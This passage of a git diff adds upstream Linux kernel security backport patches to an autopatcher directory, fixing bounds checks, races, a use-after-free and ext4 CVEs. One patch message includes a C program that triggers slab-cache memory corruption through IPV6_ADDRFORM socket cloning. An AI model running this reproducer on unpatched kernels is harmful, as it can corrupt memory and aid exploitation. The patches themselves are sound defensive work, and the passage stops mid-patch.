mode 100644 index 0000000..4ba2884 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0501.diff @@ -0,0 +1,27 @@ +diff --git a/net/ipv4/raw.c b/net/ipv4/raw.c +index b304648..3bc80c7 100644 +--- a/net/ipv4/raw.c ++++ b/net/ipv4/raw.c +@@ -340,6 +340,9 @@ + rt->dst.dev->mtu); + return -EMSGSIZE; + } ++ if (length < sizeof(struct iphdr)) ++ return -EINVAL; ++ + if (flags&MSG_PROBE) + goto out; + +diff --git a/net/ipv6/raw.c b/net/ipv6/raw.c +index c9ccdd7..fd5ad12 100644 +--- a/net/ipv6/raw.c ++++ b/net/ipv6/raw.c +@@ -616,6 +616,8 @@ + ipv6_local_error(sk, EMSGSIZE, fl6, rt->dst.dev->mtu); + return -EMSGSIZE; + } ++ if (length < sizeof(struct ipv6hdr)) ++ return -EINVAL; + if (flags&MSG_PROBE) + goto out; + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0502.diff b/recipes-kernel/linux/linux-bass/autopatcher/0502.diff new file mode 100644 index 0000000..7628512 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0502.diff @@ -0,0 +1,19 @@ +diff --git a/drivers/scsi/sg.c b/drivers/scsi/sg.c +index 0871b1c..8b30750 100644 +--- a/drivers/scsi/sg.c ++++ b/drivers/scsi/sg.c +@@ -2082,11 +2082,12 @@ + if ((1 == resp->done) && (!resp->sg_io_owned) && + ((-1 == pack_id) || (resp->header.pack_id == pack_id))) { + resp->done = 2; /* guard against other readers */ +- break; ++ write_unlock_irqrestore(&sfp->rq_list_lock, iflags); ++ return resp; + } + } + write_unlock_irqrestore(&sfp->rq_list_lock, iflags); +- return resp; ++ return NULL; + } + + /* always adds to end of list */ diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0503-717adfdaf147-HID debug check length before copytouser.patch b/recipes-kernel/linux/linux-bass/autopatcher/0503-717adfdaf147-HID debug check length before copytouser.patch new file mode 100644 index 0000000..406db66 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0503-717adfdaf147-HID debug check length before copytouser.patch @@ -0,0 +1,52 @@ +From 717adfdaf14704fd3ec7fa2c04520c0723247eac Mon Sep 17 00:00:00 2001 +From: Daniel Rosenberg +Date: Mon, 2 Jul 2018 16:59:37 -0700 +Subject: HID: debug: check length before copy_to_user() + +If our length is greater than the size of the buffer, we +overflow the buffer + +Cc: stable@vger.kernel.org +Signed-off-by: Daniel Rosenberg +Reviewed-by: Benjamin Tissoires +Signed-off-by: Jiri Kosina +--- + drivers/hid/hid-debug.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/drivers/hid/hid-debug.c b/drivers/hid/hid-debug.c +index 4f4e7a08a07be..4db8e140f7096 100644 +--- a/drivers/hid/hid-debug.c ++++ b/drivers/hid/hid-debug.c +@@ -1154,6 +1154,8 @@ copy_rest: + goto out; + if (list->tail > list->head) { + len = list->tail - list->head; ++ if (len > count) ++ len = count; + + if (copy_to_user(buffer + ret, &list->hid_debug_buf[list->head], len)) { + ret = -EFAULT; +@@ -1163,6 +1165,8 @@ copy_rest: + list->head += len; + } else { + len = HID_DEBUG_BUFSIZE - list->head; ++ if (len > count) ++ len = count; + + if (copy_to_user(buffer, &list->hid_debug_buf[list->head], len)) { + ret = -EFAULT; +@@ -1170,7 +1174,9 @@ copy_rest: + } + list->head = 0; + ret += len; +- goto copy_rest; ++ count -= len; ++ if (count > 0) ++ goto copy_rest; + } + + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0504.diff b/recipes-kernel/linux/linux-bass/autopatcher/0504.diff new file mode 100644 index 0000000..c97a154 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0504.diff @@ -0,0 +1,29 @@ +diff --git a/net/nfc/llcp_commands.c b/net/nfc/llcp_commands.c +index c1b23ee..ac7cf1f 100644 +--- a/net/nfc/llcp_commands.c ++++ b/net/nfc/llcp_commands.c +@@ -151,6 +151,10 @@ + + pr_debug("uri: %s, len: %zu\n", uri, uri_len); + ++ /* sdreq->tlv_len is u8, takes uri_len, + 3 for header, + 1 for NULL */ ++ if (WARN_ON_ONCE(uri_len > U8_MAX - 4)) ++ return NULL; ++ + sdreq = kzalloc(sizeof(struct nfc_llcp_sdp_tlv), GFP_KERNEL); + if (sdreq == NULL) + return NULL; +diff --git a/net/nfc/netlink.c b/net/nfc/netlink.c +index f0c4d61..532869d 100644 +--- a/net/nfc/netlink.c ++++ b/net/nfc/netlink.c +@@ -59,7 +59,8 @@ + }; + + static const struct nla_policy nfc_sdp_genl_policy[NFC_SDP_ATTR_MAX + 1] = { +- [NFC_SDP_ATTR_URI] = { .type = NLA_STRING }, ++ [NFC_SDP_ATTR_URI] = { .type = NLA_STRING, ++ .len = U8_MAX - 4 }, + [NFC_SDP_ATTR_SAP] = { .type = NLA_U8 }, + }; + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0505-78da094deb3b-net Set skprotcreator when cloning sockets to the right proto.patch b/recipes-kernel/linux/linux-bass/autopatcher/0505-78da094deb3b-net Set skprotcreator when cloning sockets to the right proto.patch new file mode 100644 index 0000000..294d692 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0505-78da094deb3b-net Set skprotcreator when cloning sockets to the right proto.patch @@ -0,0 +1,109 @@ +From 78da094deb3ba652c17f4e83b16ac9317f45c6ed Mon Sep 17 00:00:00 2001 +From: Christoph Paasch +Date: Tue, 26 Sep 2017 17:38:50 -0700 +Subject: net: Set sk_prot_creator when cloning sockets to the right proto + +commit 9d538fa60bad4f7b23193c89e843797a1cf71ef3 upstream. + +sk->sk_prot and sk->sk_prot_creator can differ when the app uses +IPV6_ADDRFORM (transforming an IPv6-socket to an IPv4-one). +Which is why sk_prot_creator is there to make sure that sk_prot_free() +does the kmem_cache_free() on the right kmem_cache slab. + +Now, if such a socket gets transformed back to a listening socket (using +connect() with AF_UNSPEC) we will allocate an IPv4 tcp_sock through +sk_clone_lock() when a new connection comes in. But sk_prot_creator will +still point to the IPv6 kmem_cache (as everything got copied in +sk_clone_lock()). When freeing, we will thus put this +memory back into the IPv6 kmem_cache although it was allocated in the +IPv4 cache. I have seen memory corruption happening because of this. + +With slub-debugging and MEMCG_KMEM enabled this gives the warning + "cache_from_obj: Wrong slab cache. TCPv6 but object is from TCP" + +A C-program to trigger this: + +void main(void) +{ + int fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); + int new_fd, newest_fd, client_fd; + struct sockaddr_in6 bind_addr; + struct sockaddr_in bind_addr4, client_addr1, client_addr2; + struct sockaddr unsp; + int val; + + memset(&bind_addr, 0, sizeof(bind_addr)); + bind_addr.sin6_family = AF_INET6; + bind_addr.sin6_port = ntohs(42424); + + memset(&client_addr1, 0, sizeof(client_addr1)); + client_addr1.sin_family = AF_INET; + client_addr1.sin_port = ntohs(42424); + client_addr1.sin_addr.s_addr = inet_addr("127.0.0.1"); + + memset(&client_addr2, 0, sizeof(client_addr2)); + client_addr2.sin_family = AF_INET; + client_addr2.sin_port = ntohs(42421); + client_addr2.sin_addr.s_addr = inet_addr("127.0.0.1"); + + memset(&unsp, 0, sizeof(unsp)); + unsp.sa_family = AF_UNSPEC; + + bind(fd, (struct sockaddr *)&bind_addr, sizeof(bind_addr)); + + listen(fd, 5); + + client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + connect(client_fd, (struct sockaddr *)&client_addr1, sizeof(client_addr1)); + new_fd = accept(fd, NULL, NULL); + close(fd); + + val = AF_INET; + setsockopt(new_fd, SOL_IPV6, IPV6_ADDRFORM, &val, sizeof(val)); + + connect(new_fd, &unsp, sizeof(unsp)); + + memset(&bind_addr4, 0, sizeof(bind_addr4)); + bind_addr4.sin_family = AF_INET; + bind_addr4.sin_port = ntohs(42421); + bind(new_fd, (struct sockaddr *)&bind_addr4, sizeof(bind_addr4)); + + listen(new_fd, 5); + + client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + connect(client_fd, (struct sockaddr *)&client_addr2, sizeof(client_addr2)); + + newest_fd = accept(new_fd, NULL, NULL); + close(new_fd); + + close(client_fd); + close(new_fd); +} + +As far as I can see, this bug has been there since the beginning of the +git-days. + +Signed-off-by: Christoph Paasch +Reviewed-by: Eric Dumazet +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/core/sock.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/net/core/sock.c b/net/core/sock.c +index 96e1259193242..104784ee4bbd5 100644 +--- a/net/core/sock.c ++++ b/net/core/sock.c +@@ -1470,6 +1470,8 @@ struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority) + + sock_copy(newsk, sk); + ++ newsk->sk_prot_creator = sk->sk_prot; ++ + /* SANITY */ + get_net(sock_net(newsk)); + sk_node_init(&newsk->sk_node); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0506-318aaf34f117-scsi libsas defer ata device eh commands to libata.patch b/recipes-kernel/linux/linux-bass/autopatcher/0506-318aaf34f117-scsi libsas defer ata device eh commands to libata.patch new file mode 100644 index 0000000..4efa5a2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0506-318aaf34f117-scsi libsas defer ata device eh commands to libata.patch @@ -0,0 +1,130 @@ +From 318aaf34f1179b39fa9c30fa0f3288b645beee39 Mon Sep 17 00:00:00 2001 +From: Jason Yan +Date: Thu, 8 Mar 2018 10:34:53 +0800 +Subject: scsi: libsas: defer ata device eh commands to libata + +When ata device doing EH, some commands still attached with tasks are +not passed to libata when abort failed or recover failed, so libata did +not handle these commands. After these commands done, sas task is freed, +but ata qc is not freed. This will cause ata qc leak and trigger a +warning like below: + +WARNING: CPU: 0 PID: 28512 at drivers/ata/libata-eh.c:4037 +ata_eh_finish+0xb4/0xcc +CPU: 0 PID: 28512 Comm: kworker/u32:2 Tainted: G W OE 4.14.0#1 +...... +Call trace: +[] ata_eh_finish+0xb4/0xcc +[] ata_do_eh+0xc4/0xd8 +[] ata_std_error_handler+0x44/0x8c +[] ata_scsi_port_error_handler+0x480/0x694 +[] async_sas_ata_eh+0x4c/0x80 +[] async_run_entry_fn+0x4c/0x170 +[] process_one_work+0x144/0x390 +[] worker_thread+0x144/0x418 +[] kthread+0x10c/0x138 +[] ret_from_fork+0x10/0x18 + +If ata qc leaked too many, ata tag allocation will fail and io blocked +for ever. + +As suggested by Dan Williams, defer ata device commands to libata and +merge sas_eh_finish_cmd() with sas_eh_defer_cmd(). libata will handle +ata qcs correctly after this. + +Signed-off-by: Jason Yan +CC: Xiaofei Tan +CC: John Garry +CC: Dan Williams +Reviewed-by: Dan Williams +Signed-off-by: Martin K. Petersen +--- + drivers/scsi/libsas/sas_scsi_host.c | 33 +++++++++++++-------------------- + 1 file changed, 13 insertions(+), 20 deletions(-) + +diff --git a/drivers/scsi/libsas/sas_scsi_host.c b/drivers/scsi/libsas/sas_scsi_host.c +index 626727207889..a372af68d9a9 100644 +--- a/drivers/scsi/libsas/sas_scsi_host.c ++++ b/drivers/scsi/libsas/sas_scsi_host.c +@@ -223,6 +223,7 @@ out_done: + static void sas_eh_finish_cmd(struct scsi_cmnd *cmd) + { + struct sas_ha_struct *sas_ha = SHOST_TO_SAS_HA(cmd->device->host); ++ struct domain_device *dev = cmd_to_domain_dev(cmd); + struct sas_task *task = TO_SAS_TASK(cmd); + + /* At this point, we only get called following an actual abort +@@ -231,6 +232,14 @@ static void sas_eh_finish_cmd(struct scsi_cmnd *cmd) + */ + sas_end_task(cmd, task); + ++ if (dev_is_sata(dev)) { ++ /* defer commands to libata so that libata EH can ++ * handle ata qcs correctly ++ */ ++ list_move_tail(&cmd->eh_entry, &sas_ha->eh_ata_q); ++ return; ++ } ++ + /* now finish the command and move it on to the error + * handler done list, this also takes it off the + * error handler pending list. +@@ -238,22 +247,6 @@ static void sas_eh_finish_cmd(struct scsi_cmnd *cmd) + scsi_eh_finish_cmd(cmd, &sas_ha->eh_done_q); + } + +-static void sas_eh_defer_cmd(struct scsi_cmnd *cmd) +-{ +- struct domain_device *dev = cmd_to_domain_dev(cmd); +- struct sas_ha_struct *ha = dev->port->ha; +- struct sas_task *task = TO_SAS_TASK(cmd); +- +- if (!dev_is_sata(dev)) { +- sas_eh_finish_cmd(cmd); +- return; +- } +- +- /* report the timeout to libata */ +- sas_end_task(cmd, task); +- list_move_tail(&cmd->eh_entry, &ha->eh_ata_q); +-} +- + static void sas_scsi_clear_queue_lu(struct list_head *error_q, struct scsi_cmnd *my_cmd) + { + struct scsi_cmnd *cmd, *n; +@@ -261,7 +254,7 @@ static void sas_scsi_clear_queue_lu(struct list_head *error_q, struct scsi_cmnd + list_for_each_entry_safe(cmd, n, error_q, eh_entry) { + if (cmd->device->sdev_target == my_cmd->device->sdev_target && + cmd->device->lun == my_cmd->device->lun) +- sas_eh_defer_cmd(cmd); ++ sas_eh_finish_cmd(cmd); + } + } + +@@ -618,12 +611,12 @@ static void sas_eh_handle_sas_errors(struct Scsi_Host *shost, struct list_head * + case TASK_IS_DONE: + SAS_DPRINTK("%s: task 0x%p is done\n", __func__, + task); +- sas_eh_defer_cmd(cmd); ++ sas_eh_finish_cmd(cmd); + continue; + case TASK_IS_ABORTED: + SAS_DPRINTK("%s: task 0x%p is aborted\n", + __func__, task); +- sas_eh_defer_cmd(cmd); ++ sas_eh_finish_cmd(cmd); + continue; + case TASK_IS_AT_LU: + SAS_DPRINTK("task 0x%p is at LU: lu recover\n", task); +@@ -634,7 +627,7 @@ static void sas_eh_handle_sas_errors(struct Scsi_Host *shost, struct list_head * + "recovered\n", + SAS_ADDR(task->dev), + cmd->device->lun); +- sas_eh_defer_cmd(cmd); ++ sas_eh_finish_cmd(cmd); + sas_scsi_clear_queue_lu(work_q, cmd); + goto Again; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0507-dd83c161fbcc-kernelexitc avoid undefined behaviour when calling wait4.patch b/recipes-kernel/linux/linux-bass/autopatcher/0507-dd83c161fbcc-kernelexitc avoid undefined behaviour when calling wait4.patch new file mode 100644 index 0000000..9bc4641 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0507-dd83c161fbcc-kernelexitc avoid undefined behaviour when calling wait4.patch @@ -0,0 +1,53 @@ +From dd83c161fbcc5d8be637ab159c0de015cbff5ba4 Mon Sep 17 00:00:00 2001 +From: zhongjiang +Date: Mon, 10 Jul 2017 15:53:01 -0700 +Subject: kernel/exit.c: avoid undefined behaviour when calling wait4() + +wait4(-2147483648, 0x20, 0, 0xdd0000) triggers: +UBSAN: Undefined behaviour in kernel/exit.c:1651:9 + +The related calltrace is as follows: + + negation of -2147483648 cannot be represented in type 'int': + CPU: 9 PID: 16482 Comm: zj Tainted: G B ---- ------- 3.10.0-327.53.58.71.x86_64+ #66 + Hardware name: Huawei Technologies Co., Ltd. Tecal RH2285 /BC11BTSA , BIOS CTSAV036 04/27/2011 + Call Trace: + dump_stack+0x19/0x1b + ubsan_epilogue+0xd/0x50 + __ubsan_handle_negate_overflow+0x109/0x14e + SyS_wait4+0x1cb/0x1e0 + system_call_fastpath+0x16/0x1b + +Exclude the overflow to avoid the UBSAN warning. + +Link: http://lkml.kernel.org/r/1497264618-20212-1-git-send-email-zhongjiang@huawei.com +Signed-off-by: zhongjiang +Cc: Oleg Nesterov +Cc: David Rientjes +Cc: Aneesh Kumar K.V +Cc: Kirill A. Shutemov +Cc: Xishi Qiu +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +--- + kernel/exit.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/kernel/exit.c b/kernel/exit.c +index 608c9775a37b..c5548faa9f37 100644 +--- a/kernel/exit.c ++++ b/kernel/exit.c +@@ -1639,6 +1639,10 @@ long kernel_wait4(pid_t upid, int __user *stat_addr, int options, + __WNOTHREAD|__WCLONE|__WALL)) + return -EINVAL; + ++ /* -INT_MIN is not defined */ ++ if (upid == INT_MIN) ++ return -ESRCH; ++ + if (upid == -1) + type = PIDTYPE_MAX; + else if (upid < 0) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0508-4ea77014af0d-kernelsignalc avoid undefined behaviour in killsomethinginfo.patch b/recipes-kernel/linux/linux-bass/autopatcher/0508-4ea77014af0d-kernelsignalc avoid undefined behaviour in killsomethinginfo.patch new file mode 100644 index 0000000..d14cf8c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0508-4ea77014af0d-kernelsignalc avoid undefined behaviour in killsomethinginfo.patch @@ -0,0 +1,53 @@ +From 4ea77014af0d6205b05503d1c7aac6eace11d473 Mon Sep 17 00:00:00 2001 +From: zhongjiang +Date: Mon, 10 Jul 2017 15:52:57 -0700 +Subject: kernel/signal.c: avoid undefined behaviour in kill_something_info + +When running kill(72057458746458112, 0) in userspace I hit the following +issue. + + UBSAN: Undefined behaviour in kernel/signal.c:1462:11 + negation of -2147483648 cannot be represented in type 'int': + CPU: 226 PID: 9849 Comm: test Tainted: G B ---- ------- 3.10.0-327.53.58.70.x86_64_ubsan+ #116 + Hardware name: Huawei Technologies Co., Ltd. RH8100 V3/BC61PBIA, BIOS BLHSV028 11/11/2014 + Call Trace: + dump_stack+0x19/0x1b + ubsan_epilogue+0xd/0x50 + __ubsan_handle_negate_overflow+0x109/0x14e + SYSC_kill+0x43e/0x4d0 + SyS_kill+0xe/0x10 + system_call_fastpath+0x16/0x1b + +Add code to avoid the UBSAN detection. + +[akpm@linux-foundation.org: tweak comment] +Link: http://lkml.kernel.org/r/1496670008-59084-1-git-send-email-zhongjiang@huawei.com +Signed-off-by: zhongjiang +Cc: Oleg Nesterov +Cc: Michal Hocko +Cc: Vlastimil Babka +Cc: Xishi Qiu +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +--- + kernel/signal.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/kernel/signal.c b/kernel/signal.c +index 48a59eefd8ad..caed9133ae52 100644 +--- a/kernel/signal.c ++++ b/kernel/signal.c +@@ -1402,6 +1402,10 @@ static int kill_something_info(int sig, struct siginfo *info, pid_t pid) + return ret; + } + ++ /* -INT_MIN is undefined. Exclude this case to avoid a UBSAN warning */ ++ if (pid == INT_MIN) ++ return -ESRCH; ++ + read_lock(&tasklist_lock); + if (pid != -1) { + ret = __kill_pgrp_info(sig, info, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0509-73223e4e2e38-mmmempolicy fix use after free when calling getmempolicy.patch b/recipes-kernel/linux/linux-bass/autopatcher/0509-73223e4e2e38-mmmempolicy fix use after free when calling getmempolicy.patch new file mode 100644 index 0000000..2e3d5e3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0509-73223e4e2e38-mmmempolicy fix use after free when calling getmempolicy.patch @@ -0,0 +1,83 @@ +From 73223e4e2e3867ebf033a5a8eb2e5df0158ccc99 Mon Sep 17 00:00:00 2001 +From: zhong jiang +Date: Fri, 18 Aug 2017 15:16:24 -0700 +Subject: mm/mempolicy: fix use after free when calling get_mempolicy + +I hit a use after free issue when executing trinity and repoduced it +with KASAN enabled. The related call trace is as follows. + + BUG: KASan: use after free in SyS_get_mempolicy+0x3c8/0x960 at addr ffff8801f582d766 + Read of size 2 by task syz-executor1/798 + + INFO: Allocated in mpol_new.part.2+0x74/0x160 age=3 cpu=1 pid=799 + __slab_alloc+0x768/0x970 + kmem_cache_alloc+0x2e7/0x450 + mpol_new.part.2+0x74/0x160 + mpol_new+0x66/0x80 + SyS_mbind+0x267/0x9f0 + system_call_fastpath+0x16/0x1b + INFO: Freed in __mpol_put+0x2b/0x40 age=4 cpu=1 pid=799 + __slab_free+0x495/0x8e0 + kmem_cache_free+0x2f3/0x4c0 + __mpol_put+0x2b/0x40 + SyS_mbind+0x383/0x9f0 + system_call_fastpath+0x16/0x1b + INFO: Slab 0xffffea0009cb8dc0 objects=23 used=8 fp=0xffff8801f582de40 flags=0x200000000004080 + INFO: Object 0xffff8801f582d760 @offset=5984 fp=0xffff8801f582d600 + + Bytes b4 ffff8801f582d750: ae 01 ff ff 00 00 00 00 5a 5a 5a 5a 5a 5a 5a 5a ........ZZZZZZZZ + Object ffff8801f582d760: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b kkkkkkkkkkkkkkkk + Object ffff8801f582d770: 6b 6b 6b 6b 6b 6b 6b a5 kkkkkkk. + Redzone ffff8801f582d778: bb bb bb bb bb bb bb bb ........ + Padding ffff8801f582d8b8: 5a 5a 5a 5a 5a 5a 5a 5a ZZZZZZZZ + Memory state around the buggy address: + ffff8801f582d600: fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc fc + ffff8801f582d680: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc + >ffff8801f582d700: fc fc fc fc fc fc fc fc fc fc fc fc fb fb fb fc + +!shared memory policy is not protected against parallel removal by other +thread which is normally protected by the mmap_sem. do_get_mempolicy, +however, drops the lock midway while we can still access it later. + +Early premature up_read is a historical artifact from times when +put_user was called in this path see https://lwn.net/Articles/124754/ +but that is gone since 8bccd85ffbaf ("[PATCH] Implement sys_* do_* +layering in the memory policy layer."). but when we have the the +current mempolicy ref count model. The issue was introduced +accordingly. + +Fix the issue by removing the premature release. + +Link: http://lkml.kernel.org/r/1502950924-27521-1-git-send-email-zhongjiang@huawei.com +Signed-off-by: zhong jiang +Acked-by: Michal Hocko +Cc: Minchan Kim +Cc: Vlastimil Babka +Cc: David Rientjes +Cc: Mel Gorman +Cc: [2.6+] +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +--- + mm/mempolicy.c | 5 ----- + 1 file changed, 5 deletions(-) + +diff --git a/mm/mempolicy.c b/mm/mempolicy.c +index d911fa5cb2a7..618ab125228b 100644 +--- a/mm/mempolicy.c ++++ b/mm/mempolicy.c +@@ -861,11 +861,6 @@ static long do_get_mempolicy(int *policy, nodemask_t *nmask, + *policy |= (pol->flags & MPOL_MODE_FLAGS); + } + +- if (vma) { +- up_read(¤t->mm->mmap_sem); +- vma = NULL; +- } +- + err = 0; + if (nmask) { + if (mpol_store_user_nodemask(pol)) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0510-23128282f3a6-PATCH ext4 verify the depth of extent tree in ext4findextent.patch b/recipes-kernel/linux/linux-bass/autopatcher/0510-23128282f3a6-PATCH ext4 verify the depth of extent tree in ext4findextent.patch new file mode 100644 index 0000000..a22d993 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0510-23128282f3a6-PATCH ext4 verify the depth of extent tree in ext4findextent.patch @@ -0,0 +1,53 @@ +From 23128282f3a67e496f536368c91cd02b60ca8915 Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Thu, 14 Jun 2018 12:55:10 -0400 +Subject: [PATCH] ext4: verify the depth of extent tree in ext4_find_extent() + +commit bc890a60247171294acc0bd67d211fa4b88d40ba upstream. + +If there is a corupted file system where the claimed depth of the +extent tree is -1, this can cause a massive buffer overrun leading to +sadness. + +This addresses CVE-2018-10877. + +https://bugzilla.kernel.org/show_bug.cgi?id=199417 + +Change-Id: I2f9fcb7620a24973fe4a2084ef209c8a959e3e47 +Signed-off-by: Theodore Ts'o +[bwh: Backported to 3.16: return -EIO instead of -EFSCORRUPTED] +Signed-off-by: Ben Hutchings +--- + fs/ext4/ext4_extents.h | 1 + + fs/ext4/extents.c | 6 ++++++ + 2 files changed, 7 insertions(+) + +diff --git a/fs/ext4/ext4_extents.h b/fs/ext4/ext4_extents.h +index 51bc821ade9..cda1e2ac94c 100644 +--- a/fs/ext4/ext4_extents.h ++++ b/fs/ext4/ext4_extents.h +@@ -103,6 +103,7 @@ struct ext4_extent_header { + }; + + #define EXT4_EXT_MAGIC cpu_to_le16(0xf30a) ++#define EXT4_MAX_EXTENT_DEPTH 5 + + #define EXT4_EXTENT_TAIL_OFFSET(hdr) \ + (sizeof(struct ext4_extent_header) + \ +diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c +index 3e472b11512..f1b9d854e07 100644 +--- a/fs/ext4/extents.c ++++ b/fs/ext4/extents.c +@@ -795,6 +795,12 @@ ext4_ext_find_extent(struct inode *inode, ext4_lblk_t block, + + eh = ext_inode_hdr(inode); + depth = ext_depth(inode); ++ if (depth < 0 || depth > EXT4_MAX_EXTENT_DEPTH) { ++ EXT4_ERROR_INODE(inode, "inode has invalid extent depth: %d", ++ depth); ++ ret = -EIO; ++ goto err; ++ } + + /* account possible depth increase */ + if (!path) { diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0511-79e82741739c-PATCH ext4 add corruption check in ext4xattrsetentry.patch b/recipes-kernel/linux/linux-bass/autopatcher/0511-79e82741739c-PATCH ext4 add corruption check in ext4xattrsetentry.patch new file mode 100644 index 0000000..c24ff0a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0511-79e82741739c-PATCH ext4 add corruption check in ext4xattrsetentry.patch @@ -0,0 +1,100 @@ +From 79e82741739c589d5e7ec5c220e4a475914cc9ee Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Wed, 13 Jun 2018 00:23:11 -0400 +Subject: [PATCH] ext4: add corruption check in ext4_xattr_set_entry() + +commit 5369a762c882c0b6e9599e4ebbb3a9ba9eee7e2d upstream. + +In theory this should have been caught earlier when the xattr list was +verified, but in case it got missed, it's simple enough to add check +to make sure we don't overrun the xattr buffer. + +This addresses CVE-2018-10879. + +https://bugzilla.kernel.org/show_bug.cgi?id=200001 + +Change-Id: Iddff4e8ba43d4f71561bc28f521724c6d2202982 +Signed-off-by: Theodore Ts'o +Reviewed-by: Andreas Dilger +[bwh: Backported to 3.16: + - Add inode parameter to ext4_xattr_set_entry() and update callers + - Return -EIO instead of -EFSCORRUPTED on error + - Adjust context] +Signed-off-by: Ben Hutchings +--- + fs/ext4/xattr.c | 22 ++++++++++++++-------- + 1 file changed, 14 insertions(+), 8 deletions(-) + +diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c +index 2a2f767caeb..736ddca92b6 100644 +--- a/fs/ext4/xattr.c ++++ b/fs/ext4/xattr.c +@@ -609,14 +609,20 @@ static size_t ext4_xattr_free_space(struct ext4_xattr_entry *last, + } + + static int +-ext4_xattr_set_entry(struct ext4_xattr_info *i, struct ext4_xattr_search *s) ++ext4_xattr_set_entry(struct ext4_xattr_info *i, struct ext4_xattr_search *s, ++ struct inode *inode) + { +- struct ext4_xattr_entry *last; ++ struct ext4_xattr_entry *last, *next; + size_t free, min_offs = s->end - s->base, name_len = strlen(i->name); + + /* Compute min_offs and last. */ + last = s->first; +- for (; !IS_LAST_ENTRY(last); last = EXT4_XATTR_NEXT(last)) { ++ for (; !IS_LAST_ENTRY(last); last = next) { ++ next = EXT4_XATTR_NEXT(last); ++ if ((void *)next >= s->end) { ++ EXT4_ERROR_INODE(inode, "corrupted xattr entries"); ++ return -EIO; ++ } + if (!last->e_value_block && last->e_value_size) { + size_t offs = le16_to_cpu(last->e_value_offs); + if (offs < min_offs) +@@ -795,7 +801,7 @@ ext4_xattr_block_set(handle_t *handle, struct inode *inode, + ce = NULL; + } + ea_bdebug(bs->bh, "modifying in-place"); +- error = ext4_xattr_set_entry(i, s); ++ error = ext4_xattr_set_entry(i, s, inode); + if (!error) { + if (!IS_LAST_ENTRY(s->first)) + ext4_xattr_rehash(header(s->base), +@@ -846,7 +852,7 @@ ext4_xattr_block_set(handle_t *handle, struct inode *inode, + s->end = s->base + sb->s_blocksize; + } + +- error = ext4_xattr_set_entry(i, s); ++ error = ext4_xattr_set_entry(i, s, inode); + if (error == -EIO) + goto bad_block; + if (error) +@@ -1013,7 +1019,7 @@ int ext4_xattr_ibody_inline_set(handle_t *handle, struct inode *inode, + + if (EXT4_I(inode)->i_extra_isize == 0) + return -ENOSPC; +- error = ext4_xattr_set_entry(i, s); ++ error = ext4_xattr_set_entry(i, s, inode); + if (error) { + if (error == -ENOSPC && + ext4_has_inline_data(inode)) { +@@ -1025,7 +1031,7 @@ int ext4_xattr_ibody_inline_set(handle_t *handle, struct inode *inode, + error = ext4_xattr_ibody_find(inode, i, is); + if (error) + return error; +- error = ext4_xattr_set_entry(i, s); ++ error = ext4_xattr_set_entry(i, s, inode); + } + if (error) + return error; +@@ -1051,7 +1057,7 @@ static int ext4_xattr_ibody_set(handle_t *handle, struct inode *inode, + + if (EXT4_I(inode)->i_extra_isize == 0) + return -ENOSPC; +- error = ext4_xattr_set_entry(i, s); ++ error = ext4_xattr_set_entry(i, s, inode); + if (error) + return error; + header = IHDR(inode, ext4_raw_inode(&is->iloc)); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0512-7347746ab366-PATCH ext4 never move the systemdata xattr out of the inode body.patch b/recipes-kernel/linux/linux-bass/autopatcher/0512-7347746ab366-PATCH ext4 never move the systemdata xattr out of the inode body.patch new file mode 100644 index 0000000..33feb99 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0512-7347746ab366-PATCH ext4 never move the systemdata xattr out of the inode body.patch @@ -0,0 +1,40 @@ +From 7347746ab3661dd7e68dc8d31b5f1b52b3fcbe1e Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Sat, 16 Jun 2018 15:40:48 -0400 +Subject: [PATCH] ext4: never move the system.data xattr out of the inode body + +commit 8cdb5240ec5928b20490a2bb34cb87e9a5f40226 upstream. + +When expanding the extra isize space, we must never move the +system.data xattr out of the inode 